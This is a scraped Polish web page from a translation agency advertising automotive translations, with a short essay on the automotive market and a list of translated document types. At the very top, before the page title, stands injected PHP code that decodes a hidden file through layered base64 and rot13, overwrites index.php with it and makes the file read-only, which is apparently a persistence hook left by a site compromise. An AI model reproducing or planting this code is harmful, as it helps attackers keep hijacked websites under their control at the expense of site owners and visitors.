$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } Tłumaczenia motoryzacyjne: angielski, niemiecki, francuski | mling.pl
698 688 787 lub 22 379 04 55 biuro@mling.pl
Zaznacz stronę

TŁUMACZENIA MOTORYZACYJNE

Zaufaj specjalistom i korzystaj z naszego doświadczenia

Wycena tłumaczenia

wyc

  • Całkowicie za darmo !
  • Prześlij pliki
  • Odpowiedź do 30 minut
Sprawdź

Firma Wiarygodna Finansowo

fwf


Tłumaczenia motoryzacyjne a współczesny rozwój motoryzacji

Japoński rynek motoryzacyjny jest uznawany za jeden z bardziej stabilnych i ważniejszych na świecie, głównie z uwagi na dynamikę rozwoju. A jednak, producenci, którzy właśnie w tamtym kraju ulokowali swoje fabryki, korzystają z usług różnego rodzaju pośredników. Wytwarzanie konkretnych półproduktów może bowiem odbywać się w fabrykach zlokalizowanych w różnych częściach świata, a precyzując przede wszystkim tam, gdzie produkcja jest po prostu tańsza. W ten też sposób niezbędnym elementem całego rynku motoryzacyjnego stają się różnorodnego rodzaju tłumaczenia.

I nie chodzi tutaj bynajmniej jedynie o tłumaczenia parametrów produkowanych części samochodowych. Pojazdy mechaniczne dawno już przestały być dobrem, na które pozwolić mogą sobie jedynie najbogatsi mieszkańcy tego świata. Aktualnie firmowe salony producentów znaleźć można w każdym zakątku globu.

Tłumaczenia zatem, których pożąda rynek motoryzacyjny, to usługa kompleksowa. Obejmuje ona zarówno potrzebę tłumaczenia rozmaitych instrukcji, jak i samych umów pomiędzy pośrednikami w obrocie samochodami, sprzedawcami i klientami. Osoby, które podejmują się zaś dokonywania właśnie takich przekładów muszą nie tylko być zorientowane w specjalistycznym słownictwie, ale równie często wymaga się od nich zainteresowaniem rynkiem motoryzacyjnym.

Tylko wówczas są w stanie pisać o nowościach, sprawnie poruszają się w świecie, który jest nie tylko stosunkowo hermetyczny, ale również – jak każda zresztą branża – posiada swoją własną specyfikę. Tłumaczenia takie ponadto muszą się charakteryzować wysoką jakością wykonania oraz przejrzystością samego zapisu pod względem treściowym. Z jednej bowiem strony są one potrzebne w codziennych kontaktach z kontrahentami, z drugiej niezbędne są w działaniu firmy na międzynarodowym rynku motoryzacyjnym zarówno pod względem ekonomicznym, jak i prawnym.

Nasze usługi translatorskie dotyczą przekładu:

  • Instrukcji
  • Instrukcji montażowych
  • Instrukcji obsługi
  • Podręczników
  • Biuletynów serwisowych
  • Katalogów
  • Broszur reklamowych
  • Opakowań produktów
  • Instrukcji naprawy
  • Biuletynów technicznych
  • Kart gwarancji
  • Elektronicznych baz danych

Najczęściej tłumaczone języki to:

  • angielski
  • niemiecki
  • francuski

Wycena jest całkowicie darmowa i do niczego niezobowiązująca.


Wybierz pliki